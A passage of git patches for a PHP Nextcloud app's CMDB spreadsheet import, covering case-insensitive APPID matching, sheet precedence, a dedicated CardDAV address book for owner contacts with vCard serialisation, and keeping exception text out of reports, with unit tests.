@@ private function addRow( /** * Why a row is skipped before mapping, or null when it is imported. * - * An APPID seen earlier in the same upload, on either sheet, is a duplicate. + * An APPID an earlier row of the same upload imported, on either sheet, + * is a duplicate. APPIDs compare by their match key, so `APP-1` and + * `app-1` are the same application. * * @param string $appId The APPID. + * @param string $matchKey The APPID's match key. * * @return string|null * * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 */ - private function skipReason(string $appId): ?string { + private function skipReason(string $appId, string $matchKey): ?string { if ($appId === '') { return $this->l10n->t('missing %s', [$this->profile->keyColumn()]); } - if (isset($this->seenKeys[$appId]) === true) { + if (isset($this->seenKeys[$matchKey]) === true) { return $this->l10n->t('duplicate %s in file', [$this->profile->keyColumn()]); } - $this->seenKeys[$appId] = true; - return null; }//end skipReason() + /** + * The key an APPID is matched on: lower case, so a change of case in the export is the same application. + * + * Surrounding whitespace, including a non-breaking space, is already + * removed by the normaliser. + * + * @param string $appId The normalised APPID. + * + * @return string + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 + */ + public static function matchKey(string $appId): string { + return mb_strtolower($appId); + }//end matchKey() + /** * Map a row through a target's pack. * diff --git a/tests/Unit/Service/Cmdb/CmdbRowNormaliserTest.php b/tests/Unit/Service/Cmdb/CmdbRowNormaliserTest.php index 390ffc4ee..328473864 100644 --- a/tests/Unit/Service/Cmdb/CmdbRowNormaliserTest.php +++ b/tests/Unit/Service/Cmdb/CmdbRowNormaliserTest.php @@ -131,4 +131,20 @@ public function testOtherScalarsBecomeText(): void { $this->assertSame(['a' => 'TRUE', 'b' => 'FALSE', 'c' => '2', 'd' => '2.25'], $row); }//end testOtherScalarsBecomeText() + + /** + * A non-breaking space, a zero-width space or a byte-order mark around a value is trimmed, as plain whitespace is. + * + * @return void + */ + public function testUnicodeWhitespaceIsTrimmed(): void { + $row = (new CmdbRowNormaliser())->normalise( + cells: ['APPID' => "APP-1\u{00A0}", 'Applicatie Naam' => "\u{FEFF}\u{200B} Naam\u{00A0}met spatie \u{00A0}"], + dateColumns: [], + idColumns: ['APPID'] + ); + + $this->assertSame('APP-1', $row['APPID']); + $this->assertSame("Naam\u{00A0}met spatie", $row['Applicatie Naam'], 'only the ends are trimmed'); + }//end testUnicodeWhitespaceIsTrimmed() }//end class diff --git a/tests/Unit/Service/CmdbExportImportServiceTest.php b/tests/Unit/Service/CmdbExportImportServiceTest.php index 46205de7b..f1d698aa1 100644 --- a/tests/Unit/Service/CmdbExportImportServiceTest.php +++ b/tests/Unit/Service/CmdbExportImportServiceTest.php @@ -1557,6 +1557,42 @@ public function testRowsAreSkippedWithTheirReasons(): void { $this->assertCount(1, $this->store[self::MODULE]); }//end testRowsAreSkippedWithTheirReasons() + /** + * APPIDs that differ only in case or a non-breaking space are one application, in one upload and across imports. + * + * @return void + */ + public function testAppIdsMatchWhateverTheirCaseOrTrailingSpace(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $first = $this->service(reader: $this->rowsReader(rows: [$this->row(appId: 'APP-1', row: 2), $this->row(appId: "app-1\u{00A0}", row: 3)])) + ->import(path: '', options: ['municipalityUuid' => 'muni-1']); + $this->assertSame(['created', 'skipped'], array_column($first['rows'], 'outcome')); + $this->assertSame(['duplicate APPID in file'], $first['rows'][1]['reasons']); + + $second = $this->service(reader: $this->rowsReader(rows: [$this->row(appId: "App-1\u{00A0}", row: 2)])) + ->import(path: '', options: ['municipalityUuid' => 'muni-1']); + // The next export spells it differently: the same module, its APPID and name as now written. + $this->assertSame('updated', $second['rows'][0]['outcome']); + $this->assertSame('App-1', $this->objects(self::MODULE)[0]['externalNumber']); + $this->assertCount(1, $this->store[self::MODULE]); + $this->assertSame('topdesk:muni-1:app-1', $this->objects(self::MODULE)[0]['externalKey']); + }//end testAppIdsMatchWhateverTheirCaseOrTrailingSpace() + + /** + * A row skipped for a missing name does not take its APPID: a later row with that APPID is imported. + * + * @return void + */ + public function testASkippedRowLeavesItsAppIdToALaterRow(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $rows = [$this->row(appId: '5', cells: ['Applicatie Naam' => ''], row: 2), $this->row(appId: '5', row: 3)]; + + $report = $this->service(reader: $this->rowsReader(rows: $rows))->import(path: '', options: ['municipalityUuid' => 'muni-1']); + + $this->assertSame(['skipped', 'created'], array_column($report['rows'], 'outcome')); + $this->assertSame(['missing Applicatie Naam'], $report['rows'][0]['reasons']); + }//end testASkippedRowLeavesItsAppIdToALaterRow() + /** * The import runs as a cmdb_import operation with per-row progress; afterwards its statistics hold the report. * From 538ffaf39d26447b2047f8bc856d516f284b8c43 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 11:08:34 +0200 Subject: [PATCH 123/176] fix(cmdb-import): an APPID on both CMDB sheets is imported from the Beheerde sheet The first occurrence of an APPID won, and "Onbeh Applicaties CMDB" is read first, so an application listed on both sheets was imported as having no arranged maintenance. The profile now ranks the sheets (sheetPrecedence: Beheerde before Onbeh). Before the rows are processed the import picks, per APPID, the highest-ranked sheet that carries it; a row of a lower-ranked sheet is skipped as a duplicate with a warning naming the APPID and the sheet that wins. Within one sheet the first occurrence still wins. Co-Authored-By: Claude Opus 5.5 --- docs/features/cmdb-import.md | 8 +- lib/Service/Cmdb/CmdbImportProfile.php | 22 +++++ lib/Service/CmdbExportImportService.php | 81 ++++++++++++++++++- lib/Settings/cmdb-import/topdesk-profile.json | 1 + .../Service/CmdbExportImportServiceTest.php | 21 +++++ 5 files changed, 127 insertions(+), 6 deletions(-) diff --git a/docs/features/cmdb-import.md b/docs/features/cmdb-import.md index 14c1c60bd..abf676a36 100644 --- a/docs/features/cmdb-import.md +++ b/docs/features/cmdb-import.md @@ -184,9 +184,11 @@ colliding. Rows are **skipped** when the APPID is empty (`missing APPID`), when the Applicatie Naam is empty (`missing Applicatie Naam`), when an APPID appears a -second time in the same upload, also across the two sheets (`duplicate APPID -in file`; the first occurrence is imported), or, with **Update existing -records** off, when the application already exists (`exists`). +second time in the same upload (`duplicate APPID in file`), or, with **Update +existing records** off, when the application already exists (`exists`). On +one sheet the first occurrence is imported. When an APPID is on both sheets, +the `Beheerde Applicaties CMDB` row is imported and the `Onbeh Applicaties +CMDB` row is skipped, with a warning naming the APPID. An application that moves from `Onbeh Applicaties CMDB` to `Beheerde Applicaties CMDB` keeps its module and usage (same APPID); its internal note diff --git a/lib/Service/Cmdb/CmdbImportProfile.php b/lib/Service/Cmdb/CmdbImportProfile.php index ff44e8e99..d514b6c6d 100644 --- a/lib/Service/Cmdb/CmdbImportProfile.php +++ b/lib/Service/Cmdb/CmdbImportProfile.php @@ -257,6 +257,28 @@ public function sheetNames(): array { return array_column($this->sheets(), 'name'); }//end sheetNames() + /** + * The rank of a sheet when an APPID is on more than one: lower wins. + * + * The profile's `sheetPrecedence` lists the sheets, the winner first; a + * sheet it does not list ranks after every listed one, in profile order. + * + * @param string $sheetName The sheet name. + * + * @return int + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 + */ + public function sheetRank(string $sheetName): int { + $order = array_values(array_unique(array_merge($this->stringList(key: 'sheetPrecedence'), $this->sheetNames()))); + $rank = array_search($sheetName, $order, true); + if ($rank === false) { + return count($order); + } + + return (int)$rank; + }//end sheetRank() + /** * The constants a sheet adds to each of its rows, as column => value. * diff --git a/lib/Service/CmdbExportImportService.php b/lib/Service/CmdbExportImportService.php index 456451460..fa89201ef 100644 --- a/lib/Service/CmdbExportImportService.php +++ b/lib/Service/CmdbExportImportService.php @@ -177,6 +177,13 @@ class CmdbExportImportService { */ private array $seenKeys = []; + /** + * Per APPID match key, the sheet that wins when the APPID is on more than one sheet. + * + * @var array + */ + private array $winningSheets = []; + /** * Contact UIDs by e-mail or display name, per run. * @@ -395,7 +402,7 @@ private function runImport(string $path, array $options, string $startedAt): arr $municipality = $this->resolveMunicipality(options: $options); $operationId = $this->operationIdFrom(options: $options); - $rows = $workbook['rows']; + $rows = array_values($workbook['rows']); $report = new CmdbImportReport(operationId: $operationId, rowsRead: count($rows)); $report->setMunicipality(uuid: $municipality['uuid'], name: $municipality['name'], created: $municipality['created']); $report->addImportWarnings(warnings: $this->translateImportWarnings(warnings: $workbook['importWarnings'])); @@ -420,6 +427,7 @@ private function runImport(string $path, array $options, string $startedAt): arr ); $this->progressTracker->setPhase(phase: 'processing_elements', data: ['total_items' => count($rows)]); + $this->winningSheets = $this->winningSheets(rows: $rows); $updateExisting = (($options['updateExisting'] ?? true) !== false); try { foreach ($rows as $index => $row) { @@ -498,6 +506,10 @@ private function processRow( } $matchKey = self::matchKey(appId: $appId); + if ($this->skipForWinningSheet(report: $report, entry: $entry, matchKey: $matchKey, warnings: $warnings) === true) { + return; + } + $skipReason = $this->skipReason(appId: $appId, matchKey: $matchKey); if ($skipReason !== null) { $this->addRow(report: $report, entry: $entry, outcome: CmdbImportReport::SKIPPED, reasons: [$skipReason], warnings: $warnings); @@ -709,11 +721,73 @@ private function addRow( ); }//end addRow() + /** + * Skip a row whose APPID another sheet wins, with a warning naming the APPID and that sheet. + * + * @param CmdbImportReport $report The report. + * @param array{sheet: string, row: int, appId: string, name: string} $entry Where the row is. + * @param string $matchKey The APPID's match key. + * @param array $warnings Row warnings so far. + * + * @return bool Whether the row was skipped. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 + */ + private function skipForWinningSheet(CmdbImportReport $report, array $entry, string $matchKey, array $warnings): bool { + $winner = ($this->winningSheets[$matchKey] ?? $entry['sheet']); + if ($entry['appId'] === '' || $winner === $entry['sheet']) { + return false; + } + + $warnings[] = $this->l10n->t('APPID %1$s is also on sheet "%2$s", which wins; this row is not imported', [$entry['appId'], $winner]); + $this->addRow( + report: $report, + entry: $entry, + outcome: CmdbImportReport::SKIPPED, + reasons: [$this->l10n->t('duplicate %s in file', [$this->profile->keyColumn()])], + warnings: $warnings + ); + + return true; + }//end skipForWinningSheet() + + /** + * Per APPID, the sheet whose row is imported when the APPID is on more than one sheet. + * + * The profile ranks the sheets ("Beheerde Applicaties CMDB" before + * "Onbeh Applicaties CMDB"): an application whose maintenance is arranged + * is imported as such, whichever sheet the export lists first. + * + * @param array}> $rows The reader rows. + * + * @return array APPID match key => sheet name. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 + */ + private function winningSheets(array $rows): array { + $key = $this->profile->keyColumn(); + $winners = []; + foreach ($rows as $row) { + $values = $this->normaliser->normalise(cells: [$key => ($row['cells'][$key] ?? null)], dateColumns: [], idColumns: $this->profile->idColumns()); + $matchKey = self::matchKey(appId: ($values[$key] ?? '')); + if ($matchKey === '') { + continue; + } + + $current = ($winners[$matchKey] ?? null); + if ($current === null || $this->profile->sheetRank(sheetName: $row['sheet']) < $this->profile->sheetRank(sheetName: $current)) { + $winners[$matchKey] = $row['sheet']; + } + } + + return $winners; + }//end winningSheets() + /** * Why a row is skipped before mapping, or null when it is imported. * - * An APPID an earlier row of the same upload imported, on either sheet, - * is a duplicate. APPIDs compare by their match key, so `APP-1` and + * An APPID an earlier row of the same sheet imported is a duplicate; across + * sheets winningSheets() decides. APPIDs compare by their match key, so `APP-1` and * `app-1` are the same application. * * @param string $appId The APPID. @@ -1557,6 +1631,7 @@ private function resetRun(): void { $this->coordinates = null; $this->suppliers = null; $this->seenKeys = []; + $this->winningSheets = []; $this->contactUids = []; $this->contactPersons = []; }//end resetRun() diff --git a/lib/Settings/cmdb-import/topdesk-profile.json b/lib/Settings/cmdb-import/topdesk-profile.json index 98136c01c..2923284e7 100644 --- a/lib/Settings/cmdb-import/topdesk-profile.json +++ b/lib/Settings/cmdb-import/topdesk-profile.json @@ -17,6 +17,7 @@ "constants": { "Beheer": "Beheer geregeld: ja" } } ], + "sheetPrecedence": ["Beheerde Applicaties CMDB", "Onbeh Applicaties CMDB"], "keyColumn": "APPID", "nameColumn": "Applicatie Naam", "requiredColumns": ["APPID", "Applicatie Naam"], diff --git a/tests/Unit/Service/CmdbExportImportServiceTest.php b/tests/Unit/Service/CmdbExportImportServiceTest.php index f1d698aa1..6d7221416 100644 --- a/tests/Unit/Service/CmdbExportImportServiceTest.php +++ b/tests/Unit/Service/CmdbExportImportServiceTest.php @@ -1578,6 +1578,27 @@ public function testAppIdsMatchWhateverTheirCaseOrTrailingSpace(): void { $this->assertSame('topdesk:muni-1:app-1', $this->objects(self::MODULE)[0]['externalKey']); }//end testAppIdsMatchWhateverTheirCaseOrTrailingSpace() + /** + * An APPID on both CMDB sheets is imported from "Beheerde Applicaties CMDB", whichever sheet comes first. + * + * @return void + */ + public function testTheBeheerdeRowWinsOverTheOnbehRow(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $rows = [ + $this->row(appId: '8', cells: ['Applicatie Naam' => 'Onbeheerd'], row: 2, sheet: 'Onbeh Applicaties CMDB'), + $this->row(appId: '8', cells: ['Applicatie Naam' => 'Beheerd'], row: 5, sheet: 'Beheerde Applicaties CMDB'), + ]; + + $report = $this->service(reader: $this->rowsReader(rows: $rows))->import(path: '', options: ['municipalityUuid' => 'muni-1']); + + $this->assertSame(['skipped', 'created'], array_column($report['rows'], 'outcome')); + $this->assertSame(['duplicate APPID in file'], $report['rows'][0]['reasons']); + $this->assertSame(['APPID 8 is also on sheet "Beheerde Applicaties CMDB", which wins; this row is not imported'], $report['rows'][0]['warnings']); + $this->assertSame('Beheerd', $this->objects(self::MODULE)[0]['name']); + $this->assertStringStartsWith('Beheer geregeld: ja', $this->objects(self::USAGE)[0]['interneAnnotation']); + }//end testTheBeheerdeRowWinsOverTheOnbehRow() + /** * A row skipped for a missing name does not take its APPID: a later row with that APPID is imported. * From 2909b06fbae97425e72b3b9b93509eb3dbb241e1 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 11:13:21 +0200 Subject: [PATCH 124/176] fix(cmdb-import): owner contacts go into a dedicated "Stackiq CMDB owners" address book An owner that matched no existing contact was written as a vCard into the importing admin's first writable address book, mixing imported third-party person data into the admin's own contacts. StackiqContactSyncService::syncToNamedAddressBook() reuses an existing contact as before (by contactsUid, then by e-mail), and otherwise creates the contact in the signed-in user's address book with the URI stackiq-cmdb-owners, creating that address book (display name "Stackiq CMDB owners", translated) through the CardDAV backend when it is absent. The import uses it for every owner; the first writable address book is no longer touched. Co-Authored-By: Claude Opus 5.5 --- lib/AppInfo/Application.php | 4 +- lib/Service/CmdbExportImportService.php | 16 +- lib/Service/StackiqContactSyncService.php | 176 ++++++++++++++++++ .../Service/CmdbExportImportServiceTest.php | 15 +- .../Service/StackiqContactSyncServiceTest.php | 141 ++++++++++++++ 5 files changed, 347 insertions(+), 5 deletions(-) create mode 100644 tests/Unit/Service/StackiqContactSyncServiceTest.php diff --git a/lib/AppInfo/Application.php b/lib/AppInfo/Application.php index a185d5a50..c35fd215e 100644 --- a/lib/AppInfo/Application.php +++ b/lib/AppInfo/Application.php @@ -368,7 +368,9 @@ function ($container) { function ($container) { return new StackiqContactSyncService( contactsManager: $container->get('OCP\Contacts\IManager'), - logger: $container->get('Psr\Log\LoggerInterface') + logger: $container->get('Psr\Log\LoggerInterface'), + container: $container, + userSession: $container->get('OCP\IUserSession') ); } ); diff --git a/lib/Service/CmdbExportImportService.php b/lib/Service/CmdbExportImportService.php index fa89201ef..189ba1028 100644 --- a/lib/Service/CmdbExportImportService.php +++ b/lib/Service/CmdbExportImportService.php @@ -127,6 +127,11 @@ class CmdbExportImportService { */ public const TIME_LIMIT_SECONDS = 3000; + /** + * The URI of the importing admin's address book that new owner contacts go into. + */ + public const OWNER_ADDRESS_BOOK_URI = 'stackiq-cmdb-owners'; + /** * The lock an import holds for its register, so imports never interleave. */ @@ -1111,7 +1116,9 @@ private function resolveOwners(array $values, int $rowNumber, string $municipali * Resolve the Nextcloud contact of an owner identity. * * With an e-mail address, StackiqContactSyncService matches on it or - * creates the contact. Without one, only a contact whose display name is + * creates the contact. A new contact goes into the importing admin's + * dedicated "Stackiq CMDB owners" address book, never into the admin's + * own address book. Without one, only a contact whose display name is * exactly the owner's name (case-insensitive) is reused, so an owner * known by name alone is not created again on every import. * @@ -1151,7 +1158,12 @@ private function resolveContactUid(array $identity): ?string { $record['role'] = $role; } - $uid = $this->contactSync->syncToContacts(objectType: 'contactPerson', record: $record); + $uid = $this->contactSync->syncToNamedAddressBook( + objectType: 'contactPerson', + record: $record, + addressBookUri: self::OWNER_ADDRESS_BOOK_URI, + displayName: $this->l10n->t('Stackiq CMDB owners') + ); if ($uid === '') { $uid = null; } diff --git a/lib/Service/StackiqContactSyncService.php b/lib/Service/StackiqContactSyncService.php index 617cdac3b..60dfc2c58 100644 --- a/lib/Service/StackiqContactSyncService.php +++ b/lib/Service/StackiqContactSyncService.php @@ -29,7 +29,10 @@ use OCP\Constants; use OCP\Contacts\IManager as IContactsManager; +use OCP\IUserSession; +use Psr\Container\ContainerInterface; use Psr\Log\LoggerInterface; +use Throwable; /** * Search, import and create Nextcloud contacts for stackiq @@ -50,15 +53,26 @@ * guard. Both are breadth of mapping rather than depth of logic. */ class StackiqContactSyncService { + /** + * Nextcloud's CardDAV backend, which creates an address book (not part of OCP). + */ + public const CARDDAV_BACKEND_CLASS = 'OCA\DAV\CardDAV\CardDavBackend'; + /** * Constructor. * * @param IContactsManager $contactsManager The Nextcloud contacts manager. * @param LoggerInterface $logger The logger. + * @param ContainerInterface|null $container Resolves the CardDAV backend, for a named address book. + * @param IUserSession|null $userSession The user whose named address book is written. + * + * @spec openspec/specs/softwarecatalog-contacts-to-nc/spec.md */ public function __construct( private readonly IContactsManager $contactsManager, private readonly LoggerInterface $logger, + private readonly ?ContainerInterface $container = null, + private readonly ?IUserSession $userSession = null, ) { }//end __construct() @@ -162,6 +176,168 @@ public function syncToContacts(string $objectType, array $record): ?string { return $this->createContactForRecord(objectType: $objectType, record: $record); }//end syncToContacts() + /** + * Resolve the contact of a record, creating it in a dedicated address book of the signed-in user. + * + * Like syncToContacts(), an existing contact (by `contactsUid`, then by + * e-mail) is reused wherever it lives. A new contact goes into the + * address book with this URI, which is created with the display name + * when the user has none, and never into the user's own first writable + * address book. + * + * @param string $objectType The relationship type ('contactPerson'|'organization'). + * @param array $record The relationship record. + * @param string $addressBookUri The address book's URI, stable across languages. + * @param string $displayName The display name for a new address book. + * + * @return ?string The contacts UID, or null when it could not be resolved or created. + * + * @spec openspec/specs/softwarecatalog-contacts-to-nc/spec.md + */ + public function syncToNamedAddressBook(string $objectType, array $record, string $addressBookUri, string $displayName): ?string { + if ($this->isAvailable() === false) { + return null; + } + + $existingUid = (string)($record['contactsUid'] ?? ''); + if ($existingUid !== '' && $this->findContactByUid(uid: $existingUid) !== null) { + return $existingUid; + } + + $matched = $this->findContactForRecord(objectType: $objectType, record: $record); + if ($matched !== null) { + return (string)($matched['UID'] ?? ''); + } + + $properties = $this->recordToVCard(objectType: $objectType, record: $record); + if (($properties['FN'] ?? '') === '') { + $this->logger->warning('[StackiqContactSync] Record has no identity to create a contact from', ['objectType' => $objectType]); + return null; + } + + try { + $backend = $this->container?->get(static::CARDDAV_BACKEND_CLASS); + $uid = $this->userSession?->getUser()?->getUID(); + if (is_object($backend) === false || $uid === null) { + $this->logger->warning('[StackiqContactSync] No CardDAV backend or no user; cannot create the contact', ['objectType' => $objectType]); + return null; + } + + $addressBookId = $this->namedAddressBookId( + backend: $backend, + principal: 'principals/users/' . $uid, + uri: $addressBookUri, + displayName: $displayName + ); + $contactUid = self::newUid(); + $backend->createCard($addressBookId, $contactUid . '.vcf', self::serialiseVCard(uid: $contactUid, properties: $properties)); + } catch (Throwable $e) { + $this->logger->warning( + '[StackiqContactSync] The contact could not be created in the named address book', + ['objectType' => $objectType, 'exception' => get_class($e)] + ); + return null; + } + + return $contactUid; + }//end syncToNamedAddressBook() + + /** + * The id of a principal's address book with this URI, created when absent. + * + * @param object $backend The CardDAV backend. + * @param string $principal The principal URI. + * @param string $uri The address book URI. + * @param string $displayName The display name for a new address book. + * + * @return int + */ + private function namedAddressBookId(object $backend, string $principal, string $uri, string $displayName): int { + $book = $backend->getAddressBooksByUri($principal, $uri); + if (is_array($book) === true && isset($book['id']) === true) { + return (int)$book['id']; + } + + return (int)$backend->createAddressBook($principal, $uri, ['{DAV:}displayname' => $displayName]); + }//end namedAddressBookId() + + /** + * A vCard 3.0 for a new contact, from the property set recordToVCard() builds. + * + * Text values are escaped as RFC 6350 requires; `N` is structured, so only + * its components are escaped. Lines are folded at 75 octets. + * + * @param string $uid The contact UID. + * @param array $properties The vCard property set. + * + * @return string + * + * @spec openspec/specs/softwarecatalog-contacts-to-nc/spec.md + */ + public static function serialiseVCard(string $uid, array $properties): string { + $lines = ['BEGIN:VCARD', 'VERSION:3.0', 'UID:' . self::escapeVCardText(text: $uid)]; + foreach ($properties as $name => $value) { + if (is_scalar($value) === false || (string)$value === '' || in_array($name, ['UID', 'VERSION'], true) === true) { + continue; + } + + $text = self::escapeVCardText(text: (string)$value); + if ($name === 'N') { + $text = implode(';', array_map(static fn (string $part): string => self::escapeVCardText(text: $part), explode(';', (string)$value))); + } + + $lines[] = self::foldVCardLine(line: strtoupper((string)$name) . ':' . $text); + } + + $lines[] = 'END:VCARD'; + + return implode("\r\n", $lines) . "\r\n"; + }//end serialiseVCard() + + /** + * Escape a vCard text value: backslash, comma, semicolon and line breaks. + * + * @param string $text The value. + * + * @return string + */ + private static function escapeVCardText(string $text): string { + return str_replace(["\\", ',', ';', "\r\n", "\n", "\r"], ["\\\\", '\\,', '\\;', '\\n', '\\n', '\\n'], $text); + }//end escapeVCardText() + + /** + * Fold a vCard content line at 75 octets, never inside a UTF-8 character. + * + * @param string $line The unfolded line. + * + * @return string + */ + private static function foldVCardLine(string $line): string { + $folded = []; + while (strlen($line) > 75) { + $cut = mb_strcut($line, 0, 75, 'UTF-8'); + $folded[] = $cut; + $line = ' ' . substr($line, strlen($cut)); + } + + $folded[] = $line; + + return implode("\r\n", $folded); + }//end foldVCardLine() + + /** + * A random UUID v4 for a new contact. + * + * @return string + */ + private static function newUid(): string { + $bytes = random_bytes(16); + $bytes[6] = chr((ord($bytes[6]) & 0x0F) | 0x40); + $bytes[8] = chr((ord($bytes[8]) & 0x3F) | 0x80); + + return vsprintf('%s%s-%s-%s-%s-%s%s%s', str_split(bin2hex($bytes), 4)); + }//end newUid() + /** * Find a Nextcloud contact by its exact UID. * diff --git a/tests/Unit/Service/CmdbExportImportServiceTest.php b/tests/Unit/Service/CmdbExportImportServiceTest.php index 6d7221416..c819a38dc 100644 --- a/tests/Unit/Service/CmdbExportImportServiceTest.php +++ b/tests/Unit/Service/CmdbExportImportServiceTest.php @@ -96,6 +96,13 @@ class CmdbExportImportServiceTest extends TestCase { */ private array $contacts = []; + /** + * The address books new contacts went into: uri => display name. + * + * @var array + */ + private array $addressBooks = []; + /** * Whether Contacts is enabled. * @@ -184,6 +191,7 @@ protected function setUp(): void { $this->saves = []; $this->beforeSave = null; $this->contacts = []; + $this->addressBooks = []; $this->contactsEnabled = true; $this->cache = []; $this->cacheFailure = null; @@ -507,8 +515,10 @@ function (string $query): array { return $found; } ); - $sync->method('syncToContacts')->willReturnCallback( - function (string $objectType, array $record): ?string { + $sync->method('syncToContacts')->willThrowException(new \LogicException('owners go into the named address book, not the first writable one')); + $sync->method('syncToNamedAddressBook')->willReturnCallback( + function (string $objectType, array $record, string $addressBookUri, string $displayName): ?string { + $this->addressBooks[$addressBookUri] = $displayName; $email = (string)($record['email'] ?? ''); foreach ($this->contacts as $uid => $contact) { if ($email !== '' && strcasecmp($contact['email'], $email) === 0) { @@ -1366,6 +1376,7 @@ public function testTheOwnerBecomesTheBusinessOwner(): void { $this->assertEqualsCanonicalizing(['Voornaam Achternaam', 'Teamleider Applicatiebeheer'], array_column($this->contacts, 'name')); $this->assertSame(['', ''], array_column($this->contacts, 'email'), 'the CMDB sheets carry no e-mail address'); + $this->assertSame(['stackiq-cmdb-owners' => 'Stackiq CMDB owners'], $this->addressBooks, 'new owner contacts go into the dedicated address book only'); $people = $this->objects(self::CONTACT_PERSON); $this->assertCount(2, $people); diff --git a/tests/Unit/Service/StackiqContactSyncServiceTest.php b/tests/Unit/Service/StackiqContactSyncServiceTest.php new file mode 100644 index 000000000..24789ce5b --- /dev/null +++ b/tests/Unit/Service/StackiqContactSyncServiceTest.php @@ -0,0 +1,141 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/specs/softwarecatalog-contacts-to-nc/spec.md + * + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Tests\Unit\Service; + +use OCA\Stackiq\Service\StackiqContactSyncService; +use OCP\Contacts\IManager; +use OCP\IUser; +use OCP\IUserSession; +use PHPUnit\Framework\TestCase; +use Psr\Container\ContainerInterface; +use Psr\Log\NullLogger; + +/** + * A new contact goes into the user's named address book, created once. + */ +class StackiqContactSyncServiceTest extends TestCase { + /** + * A CardDAV backend over memory. + * + * @return object + */ + private function backend(): object { + return new class { + /** + * Address books: principal|uri => [id, displayname]. + * + * @var array + */ + public array $books = []; + + /** + * Cards: [addressBookId, uri, data]. + * + * @var array + */ + public array $cards = []; + + public function getAddressBooksByUri(string $principal, string $uri): ?array { + $book = ($this->books[$principal . '|' . $uri] ?? null); + return $book === null ? null : ['id' => $book['id'], 'uri' => $uri]; + } + + public function createAddressBook(string $principal, string $uri, array $properties): int { + $id = (count($this->books) + 7); + $this->books[$principal . '|' . $uri] = ['id' => $id, 'displayname' => (string)$properties['{DAV:}displayname']]; + return $id; + } + + public function createCard(int $addressBookId, string $cardUri, string $cardData): string { + $this->cards[] = [$addressBookId, $cardUri, $cardData]; + return 'etag'; + } + }; + }//end backend() + + /** + * The service for user "admin", with no existing contact anywhere. + * + * @param object $backend The CardDAV backend. + * + * @return StackiqContactSyncService + */ + private function service(object $backend): StackiqContactSyncService { + $manager = $this->createMock(IManager::class); + $manager->method('isEnabled')->willReturn(true); + $manager->method('search')->willReturn([]); + $manager->expects($this->never())->method('createOrUpdate'); + $manager->expects($this->never())->method('getUserAddressBooks'); + + $container = $this->createMock(ContainerInterface::class); + $container->method('get')->willReturnCallback(fn (string $id): object => $id === StackiqContactSyncService::CARDDAV_BACKEND_CLASS ? $backend : new \stdClass()); + $user = $this->createMock(IUser::class); + $user->method('getUID')->willReturn('admin'); + $session = $this->createMock(IUserSession::class); + $session->method('getUser')->willReturn($user); + + return new StackiqContactSyncService(contactsManager: $manager, logger: new NullLogger(), container: $container, userSession: $session); + }//end service() + + /** + * The first contact creates the address book; the second reuses it; neither touches another address book. + * + * @return void + */ + public function testNewContactsGoIntoTheNamedAddressBook(): void { + $backend = $this->backend(); + $service = $this->service(backend: $backend); + + $first = $service->syncToNamedAddressBook(objectType: 'contactPerson', record: ['voornaam' => 'Voornaam', 'achternaam' => 'Achternaam', 'role' => 'Hoofd; ICT, beheer'], addressBookUri: 'stackiq-cmdb-owners', displayName: 'Stackiq CMDB owners'); + $second = $service->syncToNamedAddressBook(objectType: 'contactPerson', record: ['achternaam' => 'Functioneel Beheer'], addressBookUri: 'stackiq-cmdb-owners', displayName: 'Stackiq CMDB owners'); + + $this->assertSame(['principals/users/admin|stackiq-cmdb-owners' => ['id' => 7, 'displayname' => 'Stackiq CMDB owners']], $backend->books); + $this->assertCount(2, $backend->cards); + $this->assertSame([7, 7], array_column($backend->cards, 0)); + $this->assertSame($first . '.vcf', $backend->cards[0][1]); + $this->assertNotSame($first, $second); + $this->assertMatchesRegularExpression('/^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/', (string)$first); + + $card = $backend->cards[0][2]; + $this->assertStringStartsWith("BEGIN:VCARD\r\nVERSION:3.0\r\nUID:" . $first . "\r\n", $card); + $this->assertStringContainsString("\r\nFN:Voornaam Achternaam\r\n", $card); + $this->assertStringContainsString("\r\nN:Achternaam;Voornaam;;;\r\n", $card); + $this->assertStringContainsString("\r\nTITLE:Hoofd\; ICT\\, beheer\r\n", $card, 'text values are escaped'); + $this->assertStringEndsWith("END:VCARD\r\n", $card); + }//end testNewContactsGoIntoTheNamedAddressBook() + + /** + * A long value is folded at 75 octets without splitting a character. + * + * @return void + */ + public function testLongLinesAreFolded(): void { + $card = StackiqContactSyncService::serialiseVCard(uid: 'u-1', properties: ['FN' => str_repeat('é', 60)]); + + foreach (explode("\r\n", $card) as $line) { + $this->assertLessThanOrEqual(75, strlen($line)); + $this->assertTrue(mb_check_encoding($line, 'UTF-8')); + } + + $unfolded = str_replace("\r\n ", '', $card); + $this->assertStringContainsString('FN:' . str_repeat('é', 60), $unfolded); + }//end testLongLinesAreFolded() +}//end class From aec05f51a509f1de0b7083a1a67fe1aba03e0fc6 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 11:17:31 +0200 Subject: [PATCH 125/176] fix(cmdb-import): a failed row reports the step and exception kind, never the exception text For every step except owners, the first 300 characters of the exception message went into the report and into a warning log line. OpenRegister messages can quote the object data (cell text, e-mail addresses, SQL with parameters), and the test that claimed "no person data" injected a benign message, so it could not fail. The report reason is now `step "" failed ()`. The log line keeps the class and the first line of the message, with every cell value of the row and every e-mail address taken out; the owner step logs no message. The test now makes a save throw a message that quotes an e-mail address, the owner's name and a cell value, and asserts that none of them reaches the reasons or the log. Co-Authored-By: Claude Opus 5.5 